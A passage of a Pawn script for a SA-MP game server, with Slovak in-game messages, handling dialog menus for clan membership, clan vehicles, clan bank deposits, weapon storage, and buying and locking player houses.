            GetPlayerName(playerid, Name, 24);

            new cstring[256];

            new id = Player[playerid][Clan_SavePlayerRank];

            if(response == 0)
            {
                new cway79f8[64];
                format(cway79f8,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][Clan_SaveClanID]);

                new P_Name[16];
                new P_Plat[16];
                new P_Hodnost[16];

                new oldplayers = dini_Int(cway79f8, "Players");

                format(P_Name,16, "P%d_Name", oldplayers);
                format(P_Plat,16, "P%d_Plat", oldplayers);
                format(P_Hodnost,16, "P%d_Hodnost", oldplayers);

                dini_Set(cway79f8, P_Name, Name);
                dini_IntSet(cway79f8, P_Plat, 0);
                dini_Set(cway79f8, P_Hodnost, "New Player");

                Player[playerid][ClanP] = Player[playerid][Clan_SaveClanID];
                Player[playerid][ClanRank] = oldplayers;
                Player[playerid][Team] = 99;
                
                new way[32];
                format(way,32, "SL/%s.cfg", Name);
                
                dini_IntSet(way, "Clan", Player[playerid][ClanP]);
                dini_IntSet(way, "ClanRank", Player[playerid][ClanRank]);

                Clan[Player[playerid][ClanP]][Players]++;
                dini_IntSet(cway79f8, "Players", Clan[Player[playerid][ClanP]][Players]);

                format(cstring,128,"Hráč %s (%d) prijal tvoju ponuku !", Name, playerid);
                if(IsPlayerConnected(id)) SendClientMessage(id, COLOR_GREEN, cstring);

                format(cstring,128,"~w~Hrac ~y~%s~w~ sa pripojil do clanu !", Name);

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][ClanP] == Player[id][ClanP])
                            {
                                FormatPlayerInfoBox(i, "~g~Clan", cstring, 4500);
                            }
                        }
                    }
                }
            }

            if(response == 1)
            {
                SendClientMessage(playerid,COLOR_RED,"Odmietol si ponuku pre prijatie do clanu.");

                format(cstring,128,"Hráč %s (%d) neprijal tvoju ponuku !", Name, playerid);
                if(IsPlayerConnected(id)) SendClientMessage(id, COLOR_RED, cstring);
            }
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_ChangeClanName)
        {
            if(response == 1)
            {
                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanName,DIALOG_STYLE_INPUT,"Zmena mena clanu","{ff0000}Nezadal si text !\n{ffff50}Zadaj nové meno clanu:","Zmeniť","Cancel");
                else if(strlen(inputtext) > 32) return ShowPlayerDialog(playerid,Dialog_ClanA_ChangeClanName,DIALOG_STYLE_INPUT,"Zmena mena clanu","{ff0000}Maximálne 32 znakov !\n{ffff50}Zadaj nové meno clanu:","Zmeniť","Cancel");
                else
                {
                    new cstring[128];
                    new cway93f3[64];

                    format(cway93f3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    dini_Set(cway93f3, "Name", inputtext);

                    format(cstring,128, "{ffff50}Nové neno clanu je:\n{ffff00}%s", inputtext);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", cstring, "OK", "");

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3Dstringf7[150];
                    format(c3Dstringf7, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway93f3, "Name"), dini_Get(cway93f3, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstringf7, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanPlayers)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    new cway5[64];
                    format(cway5,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                    new pN2[12][32];
                    new cPlayersString2[256];
                    new onlineplayers=0;

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[i][ClanP] != 9999)
                                {
                                    if(Player[i][ClanP] == Player[playerid][ClanID])
                                    {
                                        new P_Name[16];
                                        format(P_Name,16, "P%d_Name", onlineplayers);

                                        if(Player[i][ClanRank] == 0) format(pN2[onlineplayers], 32, "{ffff50}%s", dini_Get(cway5, P_Name));
                                        else format(pN2[onlineplayers], 32, "%s", dini_Get(cway5, P_Name));
                                        onlineplayers++;
                                    }
                                }
                            }
                        }
                    }

                         if(onlineplayers == 0)  cPlayersString2 = "{ff0000}Žiadny z hráčov v tomto clanu nie je online !";
                    else if(onlineplayers == 1)  format(cPlayersString2,256, "{ffff00}%s", pN2[0]);
                    else if(onlineplayers == 2)  format(cPlayersString2,256, "{ffff00}%s\n%s", pN2[0],pN2[1]);
                    else if(onlineplayers == 3)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s", pN2[0],pN2[1],pN2[2]);
                    else if(onlineplayers == 4)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3]);
                    else if(onlineplayers == 5)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4]);
                    else if(onlineplayers == 6)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5]);
                    else if(onlineplayers == 7)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6]);
                    else if(onlineplayers == 8)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6],pN2[7]);
                    else if(onlineplayers == 9)  format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6],pN2[7],pN2[8]);
                    else if(onlineplayers == 10) format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6],pN2[7],pN2[8],pN2[9]);
                    else if(onlineplayers == 11) format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6],pN2[7],pN2[8],pN2[9],pN2[10]);
                    else if(onlineplayers == 12) format(cPlayersString2,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN2[0],pN2[1],pN2[2],pN2[3],pN2[4],pN2[5],pN2[6],pN2[7],pN2[8],pN2[9],pN2[10],pN2[11]);

                    ShowPlayerDialog(playerid,Dialog_ClanOnlinePlayers,DIALOG_STYLE_LIST, "Online hráči", cPlayersString2, "Cancel", "");
                }

                if(listitem == 1)
                {
                    new cway4[64];
                    format(cway4,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                    new pN[12][24];
                    new cPlayersString[256];

                    for(new p=0; p < Clan[Player[playerid][ClanID]][Players]; p++)
                    {
                        new P_Name[16];
                        format(P_Name,16, "P%d_Name", p);

                        format(pN[p], 24, "%s", dini_Get(cway4, P_Name));
                    }

                         if(Clan[Player[playerid][ClanID]][Players] == 1)  format(cPlayersString,256, "{ffff00}%s", pN[0]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 2)  format(cPlayersString,256, "{ffff00}%s\n%s", pN[0],pN[1]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 3)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s", pN[0],pN[1],pN[2]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 4)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 5)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 6)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 7)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 8)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6],pN[7]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 9)  format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6],pN[7],pN[8]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 10) format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6],pN[7],pN[8],pN[9]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 11) format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6],pN[7],pN[8],pN[9],pN[10]);
                    else if(Clan[Player[playerid][ClanID]][Players] == 12) format(cPlayersString,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN[0],pN[1],pN[2],pN[3],pN[4],pN[5],pN[6],pN[7],pN[8],pN[9],pN[10],pN[11]);

                    ShowPlayerDialog(playerid,Dialog_ClanAllPlayers,DIALOG_STYLE_LIST, "Všetci hráči", cPlayersString, "Info", "Cancel");
                }
            }

            if(response == 0) Player[playerid][IPIP] = false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanOnlinePlayers)
        {
            if(response == 1 || response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanAllPlayers)
        {
            if(response == 1)
            {
                new cText1f0[64];

                new cway6[64];
                format(cway6,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                new P_Name[16];
                new P_Hodnost[16];
                new P_Plat[16];
                format(P_Name,16, "P%d_Name", listitem);
                format(P_Hodnost,16, "P%d_Hodnost", listitem);
                format(P_Plat,16, "P%d_Plat", listitem);

                format(cText1f0,64,  "{ffff00}Player - {ffff50}%s", dini_Get(cway6, P_Name));
                if(listitem > 0) format(gBIGSTRING,sizeof(gBIGSTRING), "{ffff00}Meno: {ffff50}%s\n{ffff00}Hodnosť: {ffff50}%s\n{ffff00}Plat: {ffff50}%d$", dini_Get(cway6, P_Name),dini_Get(cway6, P_Hodnost),dini_Int(cway6, P_Plat));
                else format(gBIGSTRING,sizeof(gBIGSTRING), "{ff0000}Majiteľ Clanu\n\n{ffff00}Meno: {ffff50}%s\n{ffff00}Hodnosť: {ffff50}%s\n{ffff00}Plat: {ffff50}%d$", dini_Get(cway6, P_Name),dini_Get(cway6, P_Hodnost),dini_Int(cway6, P_Plat));

                ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX, cText1f0, gBIGSTRING, "Cancel","");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanVehicles)
        {
            if(response == 1)
            {
                if(Player[playerid][ClanID] != Player[playerid][ClanP])
                {
                    SetTimerEx("IsPlayerInPickupFalse", 3750, 0, "i", playerid);
                    return FormatPlayerInfoBox(playerid,"~g~Clan","Nie si clenom tohto clanu !", 3250);
                }
                else
                {
                    new cwayXf0[64];
                    format(cwayXf0,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    new V_id[16];
                    format(V_id,16, "V%d_id", listitem);

                    if(dini_Int(cwayXf0, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                    else
                    {
                        Player[playerid][Clan_SaveVehSeries] = listitem;
                        ShowPlayerDialog(playerid,Dialog_ClanVehicleItems,DIALOG_STYLE_LIST, "Menu vozidla", "Pozicia vozidla\nRespawn vozidla", "OK", "Cancel");
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanVehicleItems)
        {
            if(response == 1)
            {
                new cwayXf1[64];
                format(cwayXf1,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new V_id[16];
                format(V_id,16, "V%d_id", Player[playerid][Clan_SaveVehSeries]);

                if(dini_Int(cwayXf1, V_id) == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Info Box","{ff0000}Na tomto slote nie je žiadne vozidlo !","Cancel","");
                else
                {
                    new type = Player[playerid][Clan_SaveVehSeries];
                    new clan = Player[playerid][ClanP];
                    new vehicleid = ClanVehicle[type][clan];

                    if(listitem == 0)
                    {
                        new Float:vX, Float:vY, Float:vZ;
                        GetVehiclePos(vehicleid,vX,vY,vZ);

                        SetPlayerCameraPos(playerid,vX,vY,vZ+100);
                        SetPlayerCameraLookAt(playerid,vX,vY,vZ);
                        TogglePlayerControllable(playerid,0);
                        
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, vX, vY, -40);

                        new GMtext[64];
                        new GameZone[MAX_ZONE_NAME];
                        GetVehicle2DZone(vehicleid, GameZone, MAX_ZONE_NAME);

                        format(GMtext,64,"~n~~n~~n~~n~~n~~w~Vehicle Position~n~~g~%s",GameZone);
                        GameTextForPlayer(playerid,GMtext,3000,5);

                        Player[playerid][IPIP]=true;
                        SetTimerEx("PlayerCameraBack",5000,0,"i",playerid);
                        SetTimerEx("LoadPlayerLastStats",5000,0,"i",playerid);
                        SetTimerEx("IsPlayerInPickupFalse",6000,0,"i",playerid);
                    }
                    if(listitem == 1)
                    {
                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Respawn vozidla","{ffff50}Respawnul si clan vozidlo,\nvozidlo je naspäť pri sídle clanu.","OK","Cancel");

                        CV_x2[type][clan] = CV_x[type][clan];
                        CV_y2[type][clan] = CV_y[type][clan];
                        CV_z2[type][clan] = CV_z[type][clan];
                        CV_a2[type][clan] = CV_a[type][clan];

                        SetVehicleToRespawn(vehicleid);
                        SetVehicleVirtualWorld(vehicleid, 0);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanSetMoney)
        {
            if(response == 1)
            {
                new t2[256];

                if(!strlen(inputtext))
                {
                    format(t2, 256, "{ff0000}Nezadal si sumu !\n{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", Clan[Player[playerid][ClanID]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t2, "OK", "Cancel");
                }
                else if(strval(inputtext) <= 0)
                {
                    format(t2, 256, "{ff0000}Nemôžeš zadať nulu alebo zápornou hodnotu !\n{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", Clan[Player[playerid][ClanID]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t2, "OK", "Cancel");
                }
                else if(strval(inputtext) > GetPlayerACMoney(playerid))
                {
                    format(t2, 256, "{ff0000}Nemáš dostatok peňazi !\n{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", Clan[Player[playerid][ClanID]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t2, "OK", "Cancel");
                }
                else
                {
                    GivePlayerACMoney(playerid, -strval(inputtext));
                    Clan[Player[playerid][ClanID]][Bank] += strval(inputtext);

                    new cway7[64];
                    format(cway7,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                    dini_IntSet(cway7, "Bank", Clan[Player[playerid][ClanID]][Bank]);

                    Delete3DTextLabel(Clan[Player[playerid][ClanID]][cText3D]);

                    new c3Dstring2[150];
                    format(c3Dstring2, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway7, "Name"), dini_Get(cway7, "Majitel"), Clan[Player[playerid][ClanID]][Bank]);

                    Clan[Player[playerid][ClanID]][cText3D] = Create3DTextLabel(c3Dstring2, COLOR_PURPLE, Clan[Player[playerid][ClanID]][cpeX], Clan[Player[playerid][ClanID]][cpeY], Clan[Player[playerid][ClanID]][cpeZ], 50, 0);

                    format(t2, 256, "{00c500}Úspešne si vložil do clanu %d$ !\n{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", strval(inputtext), Clan[Player[playerid][ClanID]][Bank]);
                    ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t2, "OK", "Cancel");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanWList)
        {
            if(response == 1)
            {
                 new clanid = Player[playerid][ClanP];
                 new cText2Q[256];
                 new wQ[8][32];
                 new aQ[8][16];
                 new cway2[64];
                 format(cway2,64, "SL/Server/Clans/Clan%d.cfg", clanid);

                new ammo;
                new W_id2[16];
                 format(W_id2,16, "W%d_id", listitem);
                 new W_ammo2[16];
                 format(W_ammo2,16, "W%d_ammo", listitem);

                 if(dini_Int(cway2, W_id2) > 0) Player[playerid][FNC_04]++;
                 else GameTextForPlayer(playerid, "~r~Na tomto slote nie je zbran !", 3000, 5);

                if(dini_Int(cway2, W_id2) == 16) ammo=5;
                if(dini_Int(cway2, W_id2) == 22) ammo=50;
                if(dini_Int(cway2, W_id2) == 23) ammo=50;
                if(dini_Int(cway2, W_id2) == 24) ammo=50;
                if(dini_Int(cway2, W_id2) == 25) ammo=35;
                if(dini_Int(cway2, W_id2) == 26) ammo=100;
                if(dini_Int(cway2, W_id2) == 27) ammo=50;
                if(dini_Int(cway2, W_id2) == 28) ammo=120;
                if(dini_Int(cway2, W_id2) == 29) ammo=75;
                if(dini_Int(cway2, W_id2) == 30) ammo=75;
                if(dini_Int(cway2, W_id2) == 31) ammo=75;
                if(dini_Int(cway2, W_id2) == 32) ammo=120;
                if(dini_Int(cway2, W_id2) == 33) ammo=10;
                if(dini_Int(cway2, W_id2) == 34) ammo=5;

                 GivePlayerWeapon(playerid, dini_Int(cway2, W_id2), ammo);

                 new oldammo = dini_Int(cway2, W_ammo2);
                 dini_IntSet(cway2, W_ammo2, (oldammo-1));

                 if(dini_Int(cway2, W_ammo2) <= 0)
                 {
                     dini_IntSet(cway2, W_id2, 0);
                     dini_IntSet(cway2, W_ammo2, 0);
                 }

                 for(new x=0; x<8; x++)
                 {
                     new W_id[16];
                     format(W_id,16, "W%d_id", x);
                     new W_ammo[16];
                     format(W_ammo,16, "W%d_ammo", x);

                     if(dini_Int(cway2, W_id) == 0)
                    {
                        format(wQ[x],32, "{090909}- empty -");
                        format(aQ[x],16, " ");
                    }
                     else
                    {
                        format(wQ[x],32, "{ffffff}%s", WeaponName(dini_Int(cway2, W_id)));
                        format(aQ[x],16, " (%dks)", dini_Int(cway2, W_ammo));
                    }
                 }

                      if(dini_Int(cway2, "WeaponSlots") == 3) format(cText2Q,256, "%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2]);
                 else if(dini_Int(cway2, "WeaponSlots") == 4) format(cText2Q,256, "%s%s\n%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2],wQ[3],aQ[3]);
                 else if(dini_Int(cway2, "WeaponSlots") == 5) format(cText2Q,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2],wQ[3],aQ[3],wQ[4],aQ[4]);
                 else if(dini_Int(cway2, "WeaponSlots") == 6) format(cText2Q,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2],wQ[3],aQ[3],wQ[4],aQ[4],wQ[5],aQ[5]);
                 else if(dini_Int(cway2, "WeaponSlots") == 7) format(cText2Q,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2],wQ[3],aQ[3],wQ[4],aQ[4],wQ[5],aQ[5],wQ[6],aQ[6]);
                 else if(dini_Int(cway2, "WeaponSlots") == 8) format(cText2Q,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", wQ[0],aQ[0],wQ[1],aQ[1],wQ[2],aQ[2],wQ[3],aQ[3],wQ[4],aQ[4],wQ[5],aQ[5],wQ[6],aQ[6],wQ[7],aQ[7]);

                if(Player[playerid][FNC_04] <= 2) ShowPlayerDialog(playerid,Dialog_ClanWList,DIALOG_STYLE_LIST,"Výber zbraní",cText2Q,"OK","Cancel");
                else Player[playerid][FNC_04]=0;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////

        else if(dialogid == Dialog_HS_H_F)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    SetPlayerPos(playerid,HouseStates[Player[playerid][HouseID]][I_x],HouseStates[Player[playerid][HouseID]][I_y],HouseStates[Player[playerid][HouseID]][I_z]);
                    SetPlayerVirtualWorld(playerid,HouseStates[Player[playerid][HouseID]][VirtualWorld]);
                    SetPlayerInterior(playerid,HouseStates[Player[playerid][HouseID]][Interior]);
                }
                if(listitem == 1)
                {
                    if(Player[playerid][HouseP]!=9999)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už máš jeden dom !");
                        return Player[playerid][IPIP]=false;
                    }
                    else if(HouseStates[Player[playerid][HouseID]][IsHouseVIP] == true && Player[playerid][VIP]==0)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Tento je VIP ! Aby si mohol vlastniť tento dom musíš mať VIP !");
                        return Player[playerid][IPIP]=false;
                    }
                    else if(GetPlayerACMoney(playerid) < HouseStates[Player[playerid][HouseID]][Price])
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatočne veľa peňazi !");
                        return Player[playerid][IPIP]=false;
                    }
                    else
                    {
                        Delete3DTextLabel(House_V[Player[playerid][HouseID]][Text3D]);
                        GivePlayerACMoney(playerid,-HouseStates[Player[playerid][HouseID]][Price]);
                        Player[playerid][HouseP]=Player[playerid][HouseID];
                        House_V[Player[playerid][HouseID]][State]=1;
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new way[32];
                        format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                        dini_IntSet(way,"State",1);
                        dini_Set(way,"Majitel",Name);
                        Player[playerid][IPIP]=false;
                        SendClientMessage(playerid,COLOR_YELLOW,"Kupil si si nový dom !");
                        new housestring[128];
                        if(HouseStates[Player[playerid][HouseID]][IsHouseVIP]==false) format(housestring,128,"[ House ]\nMajitel:\n%s",dini_Get(way,"Majitel"));
                        else format(housestring,128,"[ VIP House ]\nMajitel:\n%s",dini_Get(way,"Majitel"));
                        House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel(housestring,0xFF0000FF,HouseStates[Player[playerid][HouseID]][E_x],HouseStates[Player[playerid][HouseID]][E_y],HouseStates[Player[playerid][HouseID]][E_z],50,0);
                    }
                }
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_H_S)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=false;
                if(listitem == 0)
                {
                    if(House_V[Player[playerid][HouseID]][Lock]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Dom je zamknuty, požiadaj majiteľa domu o odomknutie !");
                    else
                    {
                        SetPlayerPos(playerid,HouseStates[Player[playerid][HouseID]][I_x],HouseStates[Player[playerid][HouseID]][I_y],HouseStates[Player[playerid][HouseID]][I_z]);
                        SetPlayerVirtualWorld(playerid,HouseStates[Player[playerid][HouseID]][VirtualWorld]);
                        SetPlayerInterior(playerid,HouseStates[Player[playerid][HouseID]][Interior]);
                    }
                }
                if(listitem == 1)
                {
                    if(Player[playerid][HouseP]!=Player[playerid][HouseID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si majiteľ tohto domu !");
                    else
                    {
                        House_V[Player[playerid][HouseP]][Lock]=1;
                        SendClientMessage(playerid,COLOR_ORANGE,"* Dom je momentalne zamknuty !");
                    }
                }
                if(listitem == 2)
                {
                    if(Player[playerid][HouseP]!=Player[playerid][HouseID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si majiteľ tohto domu !");
                    else
                    {
                        House_V[Player[playerid][HouseP]][Lock]=0;
                        SendClientMessage(playerid,COLOR_ORANGE,"* Dom je teraz odemknuty !");
                    }
                }
                if(listitem == 3)
                {
                    if(Player[playerid][HouseP]!=Player[playerid][HouseID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si majiteľ tohto domu !");
                    else
                    {
                        new Text2[128];
                        new way[32];
                        format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                        if(HouseStates[Player[playerid][HouseP]][Vehicles]==1)
                        {
                            format(Text2,128,"1.{ff0000} %s",dini_Get(way,"V0_name"));
                            ShowPlayerDialog(playerid,Dialog_HS_V_Slot,DIALOG_STYLE_LIST,"Vyber si vozidlo",Text2,"Ďalej","Cancel");
                        }
                        else if(HouseStates[Player[playerid][HouseP]][Vehicles]==2)
                        {
                            format(Text2,128,"1.{ff0000} %s\n2.{ff0000} %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"));
                            ShowPlayerDialog(playerid,Dialog_HS_V_Slot,DIALOG_STYLE_LIST,"Vyber si vozidlo",Text2,"Ďalej","Cancel");
                        }
                        else if(HouseStates[Player[playerid][HouseP]][Vehicles]==3)
                        {
                            format(Text2,128,"1.{ff0000} %s\n2.{ff0000} %s\n3.{ff0000} %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"));
                            ShowPlayerDialog(playerid,Dialog_HS_V_Slot,DIALOG_STYLE_LIST,"Vyber si vozidlo",Text2,"Ďalej","Cancel");
                        }
                        else if(HouseStates[Player[playerid][HouseP]][Vehicles]==4)
                        {
                            format(Text2,128,"1.{ff0000} %s\n2.{ff0000} %s\n3.{ff0000} %s\n4.{ff0000} %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"));
                            ShowPlayerDialog(playerid,Dialog_HS_V_Slot,DIALOG_STYLE_LIST,"Vyber si vozidlo",Text2,"Ďalej","Cancel");
                        }
                        else if(HouseStates[Player[playerid][HouseP]][Vehicles]==5)
                        {
                            format(Text2,128,"1.{ff0000} %s\n2.{ff0000} %s\n3.{ff0000} %s\n4.{ff0000} %s\n5.{ff0000} %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"),dini_Get(way,"V4_name"));
                            ShowPlayerDialog(playerid,Dialog_HS_V_Slot,DIALOG_STYLE_LIST,"Vyber si vozidlo",Text2,"Ďalej","Cancel");
                        }
                        Player[playerid][IPIP]=true;
                    }
                }
                if(listitem == 4)
                {
                    if(Player[playerid][HouseP]!=Player[playerid][HouseID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si majiteľ tohto domu !");
                    else
                    {
                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_HS_HouseSell,DIALOG_STYLE_MSGBOX,"Prodat dům","Skutočne chceš predať svoj dom ?!\n{ff0000}!!! Vrátí sa ti iba 75% z ceny domu !!!","Predať","Cancel");
